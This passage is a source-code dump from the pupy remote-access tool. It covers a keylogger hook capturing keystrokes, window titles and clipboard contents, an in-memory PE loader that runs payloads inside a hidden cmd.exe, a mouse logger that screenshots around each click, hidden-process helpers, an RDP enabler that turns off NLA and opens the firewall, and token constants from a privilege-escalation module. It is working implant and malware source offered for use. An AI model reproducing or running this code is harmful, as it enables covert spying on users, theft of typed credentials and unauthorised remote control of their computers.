        elif kbdllhookstruct.vkCode >= VK_LSHIFT and \
                kbdllhookstruct.vkCode <= VK_RMENU:
            key = ''

        else:
            # https://msdn.microsoft.com/en-us/library/windows/desktop/ms646322(v=vs.85).aspx
            r = ToUnicodeEx(
                kbdllhookstruct.vkCode,
                kbdllhookstruct.scanCode,
                byref(keyState),
                byref(buff),
                256,
                0,
                hKl
            )

            if r == 0:
                r = ToAsciiEx(
                    kbdllhookstruct.vkCode,
                    kbdllhookstruct.scanCode,
                    byref(keyState),
                    byref(buff),
                    0,
                    0
                )

            if r == 0:  # nothing written to the buffer
                key = chr(kbdllhookstruct.vkCode)
                if key not in string.printable:
                    key = '{:02X}'.format(
                        kbdllhookstruct.vkCode)

            else:
                key = buff.value

        if modifiers and key:
            hooked_key = '{' + ('+'.join(modifiers)) + '+' + key + '}'
        else:
            hooked_key = key

        exe, win_title = 'unknown', 'unknown'
        try:
            exe, win_title = get_current_process()
        except Exception:
            pass

        if self.last_windows != (exe, win_title):
            self.append(
                '\n{}: {} {}\n'.format(
                    datetime.datetime.now(),
                    exe, win_title
                )
            )

            self.last_windows = (exe, win_title)

        paste = ''

        try:
            paste = get_clipboard()
        except Exception:
            pass

        if paste and paste != self.last_clipboard:
            try:
                self.append(
                    '\n<clipboard>{}</clipboard>\n'.format(paste.strip())
                )
            except:
                self.append(
                    '\n<clipboard>{}</clipboard>\n'.format(repr(paste)[2:-1])
                )

            self.last_clipboard = paste

        if hooked_key:
            self.append(hooked_key)


================================================
FILE: pupy/packages/windows/all/pupwinutils/memexec.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import ctypes
import threading

from ctypes.wintypes import DWORD, HANDLE, BOOL, LPVOID, UINT
from ctypes import byref, create_string_buffer, POINTER, WinError

from pupy.agent import is_supported, mexec
from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import as_native_string

if not is_supported(mexec):
    import pupymemexec
    mexec = pupymemexec.run_pe_from_memory

ERROR_BROKEN_PIPE = 0x6D

PVOID = ctypes.c_voidp
PDWORD = POINTER(DWORD)

GetLastError = ctypes.windll.kernel32.GetLastError

ReadFile = ctypes.windll.kernel32.ReadFile
ReadFile.restype = BOOL
ReadFile.argtypes = [
    HANDLE, LPVOID, DWORD, PVOID, PVOID
]

WriteFile = ctypes.windll.kernel32.WriteFile
WriteFile.restype = BOOL
WriteFile.argtypes = [
    HANDLE, LPVOID, DWORD, PVOID, PVOID
]

CloseHandle = ctypes.windll.kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = [HANDLE]

TerminateProcess = ctypes.windll.kernel32.TerminateProcess
TerminateProcess.restype = BOOL
TerminateProcess.argtypes = [HANDLE, UINT]

GetProcessId = ctypes.windll.kernel32.GetProcessId
GetProcessId.restype = DWORD
GetProcessId.argtypes = [HANDLE]

PIPE_READMODE_BYTE = 0x0
PIPE_NOWAIT = 0x1


class MemoryPE(object):
    ''' run a pe from memory. '''

    def __init__(
        self, raw_pe, args=[], suspended_process=None,
            hidden=True, dupHandle=None):

        self.cmdline = suspended_process or 'cmd.exe'

        if args:
            self.cmdline += ' ' + ' '.join(args)

        self.raw_pe = raw_pe

        if not isinstance(self.raw_pe, bytes):
            self.raw_pe = bytes(self.raw_pe)

        self.suspended_process = suspended_process

        self.hidden = hidden

        self.hProcess = None
        self.pStdin = None
        self.pStdout = None
        self.complete_cb = None
        self.write_cb = None
        self.terminate = False

        self.dupHandle = dupHandle
        if self.dupHandle is None:
            self.dupHandle = 0

        self.EOF = threading.Event()
        self.stdout = ''

    def close(self):
        # Killing the program if he is still alive
        self.EOF.set()

        if self.pStdout:
            CloseHandle(self.pStdout)
            self.pStdout = None

        if self.pStdin:
            CloseHandle(self.pStdin)
            self.pStdin = None

        if self.hProcess:
            if self.terminate:
                TerminateProcess(self.hProcess, 1)

            CloseHandle(self.hProcess)
            self.hProcess = None

        if self.complete_cb:
            self.complete_cb()
            self.complete_cb = None

        if self.write_cb:
            self.write_cb = None

    def execute(self, complete_cb, write_cb=True):
        ''' Execute process '''

        if complete_cb:
            self.complete_cb = nowait(complete_cb)

        if write_cb and write_cb is not True:
            self.write_cb = nowait(write_cb)
            self.terminate = True

        try:
            hProcess, pStdin, pStdout = mexec(
                self.cmdline, self.raw_pe, write_cb is not None,
                self.hidden, self.dupHandle
            )
        except Exception as e:
            if self.write_cb:
                self.write_cb('[!] memexec failed: {}\n'.format(e))

            return False

        self.pStdout = HANDLE(pStdout)
        self.pStdin = HANDLE(pStdin)

        self.hProcess = HANDLE(hProcess)

        if self.hProcess is None:
            return

        if write_cb:
            loop = threading.Thread(target=self._loop)
            loop.daemon = True
            loop.start()
        else:
            if self.complete_cb:
                self.complete_cb()

        return GetProcessId(self.hProcess)

    def _loop(self):
        try:
            while True:
                buffer = create_string_buffer(2048)
                c_read = DWORD(0)
                success = ReadFile(
                    self.pStdout, buffer, len(buffer)-1, byref(c_read), None
                )

                if not success:
                    last_error = GetLastError()
                    if last_error == ERROR_BROKEN_PIPE:
                        break

                if c_read.value > 0:
                    buffer[c_read.value] = b'\x00'

                    if self.write_cb:
                        try:
                            self.write_cb(buffer.value)
                        except:
                            # We need to empty pipe anyway
                            pass
                    else:
                        self.stdout += buffer.value

        except Exception as e:
            import traceback
            if self.write_cb:
                try:
                    self.write_cb(
                        '[+] Exception: {}'.format(
                            traceback.format_exc()
                        )
                    )
                except:
                    pass

        finally:
            self.close()

    def write(self, data):
        try:
            c_written = DWORD()
            buffer = create_string_buffer(data)
            if not WriteFile(self.pStdin, buffer, len(buffer), byref(c_written), None):
                raise WinError()

        except:
            self.close()


================================================
FILE: pupy/packages/windows/all/pupwinutils/mouselogger.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
# Mostly stolen from Nicolas VERDIER (contact@n1nj4.eu)
# Mostly stolen and recreated by golind

import time
import datetime

from png import bmp_to_png

from .hookfuncs import (
    MSG, SetTimer, GetMessageW,
    byref, KillTimer, get_mouse_xy,
    GetSystemMetrics,
    SM_CXVIRTUALSCREEN, SM_XVIRTUALSCREEN,
    SM_CYVIRTUALSCREEN, SM_YVIRTUALSCREEN,
    GetWindowDC, CreateCompatibleDC, SelectObject,
    BitBlt, SRCCOPY, BITMAPINFO, sizeof,
    BITMAPINFOHEADER, create_string_buffer,
    GetDIBits, pointer, DIB_RGB_COLORS, DeleteObject,
    HOOKPROC, SetWindowsHookEx, WH_MOUSE_LL,
    GetModuleHandleW, UnhookWindowsHookEx,
    get_current_process, CallNextHookEx, CreateCompatibleBitmap
)

import pupy.agent

current_window = None

def mouselogger_start(event_id=None):
    if pupy.agent.manager.active(MouseLogger):
        return False

    try:
        pupy.agent.manager.create(MouseLogger, event_id=event_id)
    except:
        return False

    return True

def mouselogger_dump():
    mouselogger = pupy.agent.manager.get(MouseLogger)
    if mouselogger:
        return mouselogger.results

def mouselogger_stop():
    mouselogger = pupy.agent.manager.get(MouseLogger)
    if mouselogger:
        pupy.agent.manager.stop(MouseLogger)
        return mouselogger.results

class MouseLogger(pupy.Task):
    def __init__(self, *args, **kwargs):
        super(MouseLogger, self).__init__(*args, **kwargs)
        self.hooked  = None
        self.pointer = None

    def task(self):
        if not self.install_hook():
            raise RuntimeError("couldn't install mouselogger")

        try:
            msg = MSG()
            timer = SetTimer(0, 0, 1000, 0)

            while self.active:
                GetMessageW(byref(msg), 0, 0, 0)

            KillTimer(0, timer)

        finally:
            self.uninstall_hook()

    def get_screenshot(self):
        x, y = get_mouse_xy()

        limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)
        limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN)
        limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN)
        limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN)

        height = min(100,limit_height)
        width = min(200,limit_width)
        left = max(x-100,limit_left)
        top = max(y-50,limit_top)

        srcdc = GetWindowDC(0)
        memdc = CreateCompatibleDC(srcdc)
        bmp = CreateCompatibleBitmap(srcdc, width, height)
        try:
            SelectObject(memdc, bmp)
            BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
            bmi = BITMAPINFO()
            bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
            bmi.bmiHeader.biWidth = width
            bmi.bmiHeader.biHeight = height
            bmi.bmiHeader.biBitCount = 24
            bmi.bmiHeader.biPlanes = 1
            buffer_len = height * ((width * 3 + 3) & -4)
            pixels = create_string_buffer(buffer_len)
            bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
                pointer(bmi), DIB_RGB_COLORS)
        finally:
            DeleteObject(srcdc)
            DeleteObject(memdc)
            DeleteObject(bmp)

        if bits != height or len(pixels.raw) != buffer_len:
            raise ValueError('MSSWindows: GetDIBits() failed.')

        return pixels.raw, height, width

    def install_hook(self):
        self.pointer = HOOKPROC(self.hook_proc)
        self.hooked = SetWindowsHookEx(
            WH_MOUSE_LL,
            self.pointer,
            GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False

        return True

    def uninstall_hook(self):
        if self.hooked is None:
            return

        UnhookWindowsHookEx(self.hooked)
        self.hooked = None

    def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title = "unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass

            self.append((
                str(datetime.datetime.now()), height, width, exe,
                win_title, bmp_to_png(buf, width, height, reverse=True)
            ))

        return CallNextHookEx(self.hooked, nCode, wParam, lParam)

if __name__=="__main__":
    ml = MouseLogger()
    ml.start()
    while True:
        for d, height, width, exe, win_title, buf in ml.retrieve_screenshots():
            print("screenshot of %s/%s taken at %s (%s bytes) from %s : %s "%(
                height, width, d, len(buf), exe, win_title))
        time.sleep(1)


================================================
FILE: pupy/packages/windows/all/pupwinutils/msgbox.py
================================================
#!/usr/bin/env python
# -*- coding: UTF8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import ctypes
import threading

def MessageBox(text, title):
    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
    t.daemon=True
    t.start()


================================================
FILE: pupy/packages/windows/all/pupwinutils/processes.py
================================================
# ----------------------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# ----------------------------------------------------------------------------

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import psutil
import platform
import subprocess

from ctypes import (
    byref, c_bool, windll, c_void_p, POINTER, WinError
)

INVALID_HANDLE_VALUE = c_void_p(-1).value
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010
MAX_PATH = 260


IsWow64Process = None
if hasattr(windll.kernel32, 'IsWow64Process'):
    IsWow64Process = windll.kernel32.IsWow64Process
    IsWow64Process.restype = c_bool
    IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]


def is_process_64(pid):
    ''' Take a pid. return True if process is 64 bits, and False otherwise. '''

    is64 = False
    if '64' not in platform.machine():
        return False

    hProcess = windll.kernel32.OpenProcess(
        PROCESS_QUERY_INFORMATION, False, pid
    )

    if hProcess == INVALID_HANDLE_VALUE:
        raise WinError(
            "Can't OpenProcess for PROCESS_QUERY_INFORMATION. "
            "Insufficient privileges?"
        )

    is64 = is_process_64_from_handle(hProcess)
    windll.kernel32.CloseHandle(hProcess)
    return is64


def is_process_64_from_handle(hProcess):
    '''
    Take a process handle. return True if process is 64 bits,
    and False otherwise.
    '''

    iswow64 = c_bool(False)
    if IsWow64Process is None:
        return False

    if not IsWow64Process(hProcess, byref(iswow64)):
        raise WinError()

    return not iswow64.value


def enum_processes():
    proclist = []

    for proc in psutil.process_iter():
        try:
            pinfo = proc.as_dict(attrs=[
                'username', 'pid', 'name', 'exe', 'cmdline', 'status'
            ])

            arch = '?'
            try:
                arch = (
                    'x64' if is_process_64(int(pinfo['pid'])) else 'x32'
                )
            except WindowsError:
                pass

            pinfo['arch'] = arch
            proclist.append(pinfo)
        except psutil.NoSuchProcess:
            pass

    return proclist


def start_hidden_process(path, return_popen=False):
    info = subprocess.STARTUPINFO()
    info.dwFlags = \
        subprocess.STARTF_USESHOWWINDOW | \
            subprocess.CREATE_NEW_PROCESS_GROUP

    info.wShowWindow = subprocess.SW_HIDE
    p = subprocess.Popen(path, startupinfo=info)

    if return_popen:
        return p
    else:
        return p.pid


def is_x64_architecture():
    ''' Return True if the architecture is x64 '''

    if '64' in platform.machine():
        return True
    else:
        return False


def is_x86_architecture():
    ''' Return True if the architecture is x86 '''
    if '86' in platform.machine():
        return True
    else:
        return False


def get_current_pid():
    current_process = psutil.Process()

    return {
        'Name': current_process.name(),
        'PID': current_process.pid
    }


def get_current_ppid():
    parent_process = psutil.Process().parent()

    if parent_process is not None:
        return {
            'Parent Name': parent_process.name(),
            'PPID': parent_process.pid
        }
    else:
        return {
            'Parent Name': None,
            'PPID': None
        }


def isUserAdmin():
    if windll.Shell32.IsUserAnAdmin():
        return True
    else:
        return False


if __name__ == '__main__':
    for dic in enum_processes():
        print(dic)


================================================
FILE: pupy/packages/windows/all/pupwinutils/rdp.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from _winreg import (
    ConnectRegistry, OpenKey, SetValueEx, CloseKey,
    KEY_WRITE, REG_DWORD, HKEY_LOCAL_MACHINE
)
import ctypes
import subprocess

def check_if_admin():
    return ctypes.windll.shell32.IsUserAnAdmin() != 0

def setRegValue(aReg, keyPath, regPath, value):
    try:
        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
        SetValueEx(aKey, regPath, 0, REG_DWORD, value)
        CloseKey(aKey)
        return True
    except:
        return False

def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
    aReg = ConnectRegistry(None, root)

    if not setRegValue(aReg, keyPath, regPath, value):
        CloseKey(aReg)
        return False

    CloseKey(aReg)
    return True

def executeCmd(cmd):
    command=['cmd.exe', '/c'] + cmd.split()
    res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
    # info=subprocess.STARTUPINFO()
    # info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
    # info.wShowWindow=subprocess.SW_HIDE
    # p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
    # results, _=p.communicate()
    return res

def enable_rdp():
    # enable RDP
    if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0):
        # disable NLA authentication
        if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0):
            # adding a firewall rule
            cmd = 'netsh firewall set service type=remotedesktop mod=enable'
            # cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes'
            r = executeCmd(cmd)
            if 'ok' in r.lower():
                print('[+] RDP enabled')
            else:
                print('[-] Failed to add new firewall rule')
        else:
            print('[-] Failed to disable NLA authentication')
    else:
        print('[-] Failed to change the rdp key')


def disable_rdp():
    # disable RDP
    if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1):
        # enable NLA authentication
        if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1):
            # removing a firewall rule
            cmd = 'netsh firewall set service type=remotedesktop mod=disable'
            r = executeCmd(cmd)
            if 'ok' in r.lower():
                print('[+] RDP disabled')
            else:
                print('[-] Failed to remove the rdp firewall rule')
        else:
            print('[-] Failed to disable NLA authentication')
    else:
        print('[-] Failed to change the rdp key')



# www.vladan.fr/multiple-rdp-sessions-on-windows/


================================================
FILE: pupy/packages/windows/all/pupwinutils/security.py
================================================
# -*- coding: utf-8 -*-
# Author: ??? and original code from
# https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
# Contributor(s): @bobsecq

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from ctypes import (
    WinDLL, c_uint32, c_char_p,
    c_long, c_uint16, Structure, Union,
    POINTER, create_unicode_buffer, create_string_buffer,
    get_last_error, cast, c_void_p, sizeof, c_int, c_ulong,
    c_wchar, GetLastError, WinError, byref, addressof, c_size_t,
    c_ubyte, resize, c_longlong
)

from ctypes.wintypes import (
    BOOL, LPSTR, LPWSTR, BYTE,
    LPCSTR, LPCWSTR, USHORT, HANDLE
)

from pupy.network.lib.convcompat import (
    as_native_string, try_as_unicode_string
)

from threading import Thread

import psutil
import sys
import os
import socket

import logging

from os import W_OK, X_OK, R_OK

if sys.version_info.major > 2:
    xrange = range

ntdll = WinDLL('ntdll', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32 = WinDLL('shell32', use_last_error=True)
kernel32 = WinDLL('kernel32', use_last_error=True)
userenv = WinDLL('userenv', use_last_error=True)
secur32 = WinDLL('secur32', use_last_error=True)

S_OK = 0
E_ABORT = 0x80004004
E_ACCESSDENIED = 0x80070005
E_FAIL = 0x80004005
E_HANDLE = 0x80070006
E_INVALIDARG = 0x80070057
E_NOINTERFACE = 0x80004002
E_NOTIMPL = 0x80004001
E_OUTOFMEMORY = 0x8007000E
E_POINTER = 0x80004003
E_UNEXPECTED = 0x8000FFFF

LPVOID = c_void_p
PVOID = LPVOID
LPTSTR = LPSTR
LPCTSTR = LPSTR
PSID = PVOID
DWORD = c_uint32
INVALID_HANDLE_VALUE = c_void_p(-1).value
INVALID_HANDLE = HANDLE(INVALID_HANDLE_VALUE)
LONG = c_long
WORD = c_uint16
PULONG = c_void_p
LPBYTE = c_char_p
SIZE_T = c_size_t
ULONG = c_ulong
WCHAR = c_wchar
NTSTATUS = DWORD
LARGE_INTEGER = c_longlong
PHANDLE = POINTER(HANDLE)
PDWORD = POINTER(DWORD)

SECURITY_INFORMATION = DWORD

PROCESS_QUERY_INFORMATION = 0x0400
READ_CONTROL = 0x00020000
STANDARD_RIGHTS_READ = READ_CONTROL
STANDARD_RIGHTS_REQUIRED = 0x000F0000
TOKEN_ASSIGN_PRIMARY = 0x0001
TOKEN_DUPLICATE = 0x0002
TOKEN_IMPERSONATE = 0x0004
TOKEN_QUERY = 0x0008
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_ADJUST_GROUPS = 0x0040
TOKEN_ADJUST_DEFAULT = 0x0080
TOKEN_ADJUST_SESSIONID = 0x0100
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)

tokenprivs = (
    TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE |
    TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
    | (131072 | 4)
)

TOKEN_ALL_ACCESS = (
    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY |
    TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES |
    TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID
)

SE_OWNER_DEFAULTED = 0x0001
SE_GROUP_DEFAULTED = 0x0002
SE_DACL_PRESENT = 0x0004
SE_DACL_DEFAULTED = 0x0008
SE_SACL_PRESENT = 0x0010
SE_SACL_DEFAULTED = 0x0020
SE_DACL_AUTO_INHERIT_REQ = 0x0100
SE_SACL_AUTO_INHERIT_REQ = 0x0200
SE_DACL_AUTO_INHERITED = 0x0400
SE_SACL_AUTO_INHERITED = 0x0800
SE_DACL_PROTECTED = 0x1000
SE_SACL_PROTECTED = 0x2000
SE_SELF_RELATIVE = 0x8000

OBJECT_INHERIT_ACE = 0x01
CONTAINER_INHERIT_ACE = 0x02
NO_PROPAGATE_INHERIT_ACE = 0x04
INHERIT_ONLY_ACE = 0x08
INHERITED_ACE = 0x10
SUCCESSFUL_ACCESS_ACE_FLAG = 0x40
FAILED_ACCESS_ACE_FLAG = 0x80

ACCESS_ALLOWED_ACE_TYPE = 0
ACCESS_DENIED_ACE_TYPE = 1
SYSTEM_AUDIT_ACE_TYPE = 2

DELETE = 0x00010000  # DE
READ_CONTROL = 0x00020000  # RC
WRITE_DAC = 0x00040000  # WDAC
WRITE_OWNER = 0x00080000  # WO
SYNCHRONIZE = 0x00100000  # S
ACCESS_SYSTEM_SECURITY = 0x01000000  # AS
GENERIC_READ = 0x80000000  # GR
GENERIC_WRITE = 0x40000000  # GW
GENERIC_EXECUTE = 0x20000000  # GE
GENERIC_ALL = 0x10000000  # GA

CREATE_ALWAYS = 0x2
CREATE_NEW = 0x1
OPEN_ALWAYS = 0x4
OPEN_EXISTING = 0x3
TRUNCATE_EXISTING = 0x5

FILE_READ_DATA = 0x00000001  # RD
FILE_LIST_DIRECTORY = 0x00000001
FILE_WRITE_DATA = 0x00000002  # WD
FILE_ADD_FILE = 0x00000002
FILE_APPEND_DATA = 0x00000004  # AD
FILE_ADD_SUBDIRECTORY = 0x00000004
FILE_READ_EA = 0x00000008  # REA
FILE_WRITE_EA = 0x00000010  # WEA
FILE_EXECUTE = 0x00000020  # X
FILE_TRAVERSE = 0x00000020
FILE_DELETE_CHILD = 0x00000040  # DC
FILE_READ_ATTRIBUTES = 0x00000080  # RA
FILE_WRITE_ATTRIBUTES = 0x00000100  # WA

FILE_GENERIC_READ = (
    FILE_READ_DATA | FILE_READ_EA |
    FILE_READ_ATTRIBUTES | READ_CONTROL |
    SYNCHRONIZE
)

FILE_GENERIC_WRITE = (
    FILE_WRITE_DATA | FILE_APPEND_DATA |
    FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES |
    READ_CONTROL | SYNCHRONIZE
)

FILE_GENERIC_EXECUTE = (
    FILE_EXECUTE | FILE_READ_ATTRIBUTES |
    READ_CONTROL | SYNCHRONIZE
)

FILE_ALL_ACCESS = (
    STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF
)

FILE_MODIIFY_ACCESS = FILE_ALL_ACCESS & ~(
    FILE_DELETE_CHILD | WRITE_DAC | WRITE_OWNER
)

FILE_READ_EXEC_ACCESS = FILE_GENERIC_READ | FILE_GENERIC_EXECUTE

FILE_DELETE_ACCESS = DELETE | SYNCHRONIZE


SE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001)
SE_PRIVILEGE_ENABLED = (0x00000002)
SE_PRIVILEGE_REMOVED = (0x00000004)
SE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000)

OWNER_SECURITY_INFORMATION = 0x00000001
GROUP_SECURITY_INFORMATION = 0x00000002
DACL_SECURITY_INFORMATION = 0x00000004
SACL_SECURITY_INFORMATION = 0x00000008

INVALID_FILE_ATTRIBUTES = -1
FILE_ATTRIBUTE_ARCHIVE = 0x20
FILE_ATTRIBUTE_COMPRESSED = 0x800
FILE_ATTRIBUTE_DEVICE = 0x40
FILE_ATTRIBUTE_DIRECTORY = 0x10
FILE_ATTRIBUTE_ENCRYPTED = 0x4000
FILE_ATTRIBUTE_HIDDEN = 0x02
FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x8000
FILE_ATTRIBUTE_NORMAL = 0x80
FILE_ATTRIBUTE_READONLY = 0x1
FILE_ATTRIBUTE_SYSTEM = 0x4

FILE_EXECUTE = 0x20
FILE_READ_DATA = 0x1
FILE_WRITE_DATA = 0x2

FILE_ADD_FILE = 2
FILE_ADD_SUBDIRECTORY = 4
FILE_APPEND_DATA = 4
FILE_CREATE_PIPE_INSTANCE = 4
FILE_DELETE_CHILD = 0x40
FILE_LIST_DIRECTORY = 1
FILE_READ_ATTRIBUTES = 0x80
FILE_READ_EA = 8
FILE_TRAVERSE = 0x20
FILE_WRITE_ATTRIBUTES = 0x100
FILE_WRITE_EA = 0x10

FILE_ALL_ACCESS = FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | \
  FILE_APPEND_DATA | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | \
  FILE_READ_EA | FILE_WRITE_EA

SecurityAnonymous = 0
SecurityIdentification = 1
SecurityImpersonation = 2
SecurityDelegation = 3

SID_SYSTEM = 'S-1-5-18'

SYSTEM_EXTENDED_HANDLE_INFORMATION = 0x00000040
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
METHOD_NEITHER = 0x00000003
PROCESS_ALL_ACCESS = 0x001F0FFF
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
CREATE_NEW_PROCESS_GROUP = 0x00000200
CREATE_NO_WINDOW = 0x08000000
DETACHED_PROCESS = 0x00000008
ENTRIES = 0x00006000
PROCESS_ALL_ACCESS = 0x001fffff

STARTF_USESHOWWINDOW = 0x00000001
STARTF_USESTDHANDLES = 0x00000100

SW_HIDE = 0

WAIT_ABANDONED = 0x00000080
WAIT_OBJECT_0 = 0x00000000
WAIT_TIMEOUT = 0x00000102
WAIT_FAILED = 0xFFFFFFFF


def _bit(flag, mask):
    return (flag & mask) == mask


class TOKEN_INFORMATION_CLASS(object):
    __slots__ = ()
    # See http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx
    TokenUser = 1
    TokenGroups = 2
    TokenPrivileges = 3


class LUID(Structure):
    _fields_ = [
        ("LowPart", DWORD),
        ("HighPart", LONG),
    ]

    def __eq__(self, other):
        return (
            self.HighPart == other.HighPart and
            self.LowPart == other.LowPart
        )

    def __ne__(self, other):
        return not (self == other)


PLUID = POINTER(LUID)


class SID_AND_ATTRIBUTES(Structure):
    _fields_ = [
        ("Sid", PSID),
        ("Attributes", DWORD),
    ]


class TOKEN_USER(Structure):
    _fields_ = [
        ("User", SID_AND_ATTRIBUTES),
    ]


ACCESS_MASK = DWORD


class GENERIC_MAPPING(Structure):
    _fields_ = [
        ('GenericRead', ACCESS_MASK),
        ('GenericWrite', ACCESS_MASK),
        ('GenericExecute', ACCESS_MASK),
        ('GenericAll', ACCESS_MASK),
    ]


LookupPrivilegeName = advapi32.LookupPrivilegeNameW
